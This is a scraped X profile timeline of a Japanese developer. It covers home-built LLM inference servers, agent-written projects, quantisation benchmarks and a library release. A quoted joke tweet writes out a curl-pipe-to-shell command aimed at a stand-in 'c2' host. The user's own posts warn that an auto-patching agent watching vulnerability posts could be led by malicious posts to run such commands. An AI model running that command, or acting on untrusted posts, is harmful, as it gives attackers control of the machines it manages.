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家鴨

@ahinore

時々プログラミング生活

Joined January 2009
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自宅Deepseek4.1Flashに作らせてた推論サーバで、Qwen3.8FlashNextが動くようになった。 実用性は皆無だけど3DでLLMの動きを可視化する機能も付けてもらった。 github.com/ahinore/denno-bet…
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ソフトウェアの脆弱性情報をいち早く入手する - CVE・CISA KEV・JPCERT/CC・OSV｜npaka @npaka123 note.com/npaka/n/na5ad6472d6…
ソフトウェアの脆弱性情報をいち早く入手する - CVE・CISA KEV・JPCERT/CC・OSV｜npaka

ソフトウェアの脆弱性情報をいち早く入手する - CVE・CISA KEV・JPCERT/CC・OSV｜npaka

世界中のソフトウェアの脆弱性情報が公開される仕組みと、いち早く入手する方法をまとめました。 1. はじめに ソフトウェアの「脆弱性」は、悪用されると不正アクセスや情報漏洩につながる危険性があります。そのため、脆弱性情報をいち早く入手し、対策することが重要です。 今回は、世界中の脆弱性情報を確認できる代表的な4つの情報源と、その活用方法を紹介します。 2. 脆弱性情報が公開されるまでの流れ...

note.com
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agentに自動パッチ仕込むとこういう悪ふざけを実行しそうで怖い
丂卄ㄖᗪ卂几 - 👋 crack fingers (@therealshodan) profile picture丂卄ㄖᗪ卂几 - 👋 crack fingers@therealshodanOct 24
🚨New 0day inbound, curl2shell🚨 Can compromise any Linux host. Potentially 70% of the internet is affected. Tweet-able PoC: 𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑 Can’t be patched
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grok botsでxの脆弱性関連ポスト監視して、Hermesで通知受け取ってパッチ自動適用するように設定しようとしたけど、よく考えたら悪意ある脆弱性ポストでも動いちゃいそうだな、、、
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TensorFoldのリポジトリにIssue上げてたら、感謝リストに入れてもらえた！ これはモチベーション上がるな。 引き続き貢献できるように頑張りたい。 nitter.cf/ashxhart/status/211374…
Ash Hart (@ashxhart) profile pictureAsh Hart
@ashxhartOct 23
TensorFold 1.1.3 is live. A load of bugs fixed and improvements, such as Flash Next image-chat caching, tool-call and reasoning fixes, checkpoint loading fixes, and Windows builds restored. A huge thank you to @sethforprivacy @ahinore @Bizuayeu @plotarmordev @jayleaton @bobclawblaw @codengod, and GitHub contributors tpischke, jschmied, chaog992, cwschroeder, akol1 and flashosophy. And thank you to everyone testing, reporting bugs and sharing access to their hardware. @MiaAI_lab @plotarmordev @petruspennanen @volatilemarkts tensorfold.dev
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Ash Hart
@ashxhartOct 23
TensorFold 1.1.3 is live. A load of bugs fixed and improvements, such as Flash Next image-chat caching, tool-call and reasoning fixes, checkpoint loading fixes, and Windows builds restored. A huge thank you to @sethforprivacy @ahinore @Bizuayeu @plotarmordev @jayleaton @bobclawblaw @codengod, and GitHub contributors tpischke, jschmied, chaog992, cwschroeder, akol1 and flashosophy. And thank you to everyone testing, reporting bugs and sharing access to their hardware. @MiaAI_lab @plotarmordev @petruspennanen @volatilemarkts tensorfold.dev
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【大ヒット御礼キャンペーン限定！】 ガイルのポップコーンバケツを 抽選で4名様にプレゼント🤯🍿 ⠀ ／ #ストリートファイターザムービー 🔥【第１弾】フォロー＆リポストキャンペーン開催！🔥 ＼ ⠀ ➤ @SF_movie_JP をフォロー ➤ この投稿をリポストで応募完了！ 〆10/29(木)
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推論エンジンがバグってホラーな回答返してくる
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エージェントが作ってる推論サーバの実装ログ眺めてみたら、小難しく物凄い発見のように言ってるが、実は数式ちょっと間違ってただけだったｗ でもわかる。ちょっとしたバグが中々見つからんのよな。
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Claudeの新規チャット画面でちょっとまってると文字が浮き出てきて、クリックすると波が起きる。いつから入った演出だろ？
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中身を理解するためにAIと推論エンジン作ってみてるけど、使える物を作るのはそんなに簡単ではなさそうな印象。 github.com/ahinore/denno-bet…
GitHub - ahinore/denno-beta: Anthropic Messages API-compatible LLM server in Rust with a fully...

GitHub - ahinore/denno-beta: Anthropic Messages API-compatible LLM server in Rust with a fully...

Anthropic Messages API-compatible LLM server in Rust with a fully hand-written inference kernel (CPU only, single binary, seed-fixed exact decoding) + real-time inference visualization - ahinore/de...

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きしだൠ(K1S) (@kis) profile pictureきしだൠ(K1S)
@kisOct 14
LLMの推論エンジンを作れるかどうかは、エージェントに「LLMの推論エンジンを作って」というかどうかでしかないから、ぼんとにLLM推論エンジンを作りたいなんていう必要なくて、LLM推論エンジン作ったならいっていい
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GLM5.3Flashで長期間プログラムを自立的に実装させるテストとして、以前から作りたかった実物スケールで地球から飛び立って月まで飛ぶフライトシミュレーターを作ってみたところ、１週間でそれなりの物を作ってくれた。それなりにバグ指摘したけども。 LLMの素晴らしいレシピを共有してくれてるMiaAIさんに感謝！ mia-ai.net/models github.com/ahinore/seamoon
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kamome@_kamome_gohanOct 5
得難いものほど欲しくなる
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MiaAIさんのレシピだと速度優先でDENSEがデフォルトq4だけど、これだとshi3zさんの日本語コーディングベンチでだいぶ低い数値がでてました。 若干性能落ちますが、DENSE=fp8にすると視覚性能含め満点が取れるようです。 github.com/shi3z/japanese-ll… mia-ai.net/models/GLM-5.3-Fl…
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kamome@_kamome_gohanOct 2
最近毎週のように食べている
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GreeekPiのケース、DGX Spark置くのにちょうど良い
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shi3z
@shi3zSep 12
Finally pulled it off! Hit 47.57 tok/s (decode) on a single DGX Spark with all experts loaded. Prefill takes a hit, sure, but for a solo box, not too shabby at all, right?
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shi3z
@shi3zSep 12
今回のDeepSeek v4.1 Flashの最適化をやって思ったのは ・AIを信じ過ぎてはいけない(AIは通常二流か三流の思考をする) ・プロファイリングは絶対にやる。 ・ベンチマークは絶対に取る。先入観で決めない ・「もっといい方法はないか」と常に問い続ける ・ハードウェアをフル活用するためにはアーキテクチャの専門知識が結局必要(しかも低レイヤー) ・相手は所詮積和演算だ。ハードウェアの限界まで引き出す ・自動車じゃないから、多少無茶しても壊れはしない(燃える可能性はある)
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